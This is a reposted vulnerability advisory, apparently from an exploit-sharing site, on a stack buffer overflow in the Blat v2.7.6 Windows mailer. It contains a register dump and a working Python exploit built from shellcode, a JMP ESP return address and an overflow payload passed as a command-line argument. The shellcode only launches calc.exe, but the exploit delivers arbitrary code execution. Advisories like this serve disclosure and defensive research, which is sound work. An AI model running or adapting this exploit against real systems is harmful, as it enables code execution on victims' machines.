扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 |
''' [+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source:http://hyp3rlinx.altervista.org/advisories/AS-BLAT-MAILER-BUFFER-OVERFLOW.txt Vendor: ================================ www.blat.net http://sourceforge.net/projects/blat/ Product: ================================ Blat v2.7.6 blat.exe is a Win32 command line eMail tool that sends eMail using SMTP or post to usenet using NNTP. Vulnerability Type: ===================== Stack Buffer Overflow CVE Reference: ============== N/A Vulnerability Details: ===================== An older release of blat.exe v2.7.6 is prone to a stack based buffer overflow when sending malicious command line arguments, we need to send two arguments first can be whatever e.g. "AAAA" then second argument to trigger the buffer overflow and execute arbitrary code on the victims OS. Stack dump... EAX 00000826 ECX 0018E828 ASCII "Blat saw and processed these options, and was confused by the last one... AAAAAAA... EDX 0008E3C8 EBX 000000E1 ESP 0018F05C ASCII "AAAAA... EBP 41414141 ESI 00426E88 blat.00426E88 EDI 00272FD8 EIP 41414141 <-------------- BOOM! C 0ES 002B 32bit 0(FFFFFFFF) P 1CS 0023 32bit 0(FFFFFFFF) A 0SS 002B 32bit 0(FFFFFFFF) Z 1DS 002B 32bit 0(FFFFFFFF) S 0FS 0053 32bit 7EFDD000(FFF) T 0GS 002B 32bit 0(FFFFFFFF) D 0 O 0LastErr ERROR_SUCCESS (00000000) EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE) Exploit code(s): =============== Python script to exploit... ''' import struct,os,subprocess #pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") vulnpgm="C:\\blat276\\full\\blat.exe " eip=struct.pack('<L', 0x776D0115)#<--- JMP ESP kernel32.dll payload="A"*2018+eip+"\x90"*20+sc subprocess.Popen([vulnpgm, "A"*4, payload], shell=False) ''' Disclosure Timeline: ========================================================= Oct 14, 2015: Public Disclosure Severity Level: ========================================================= Med =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx ''' |
体验盒子
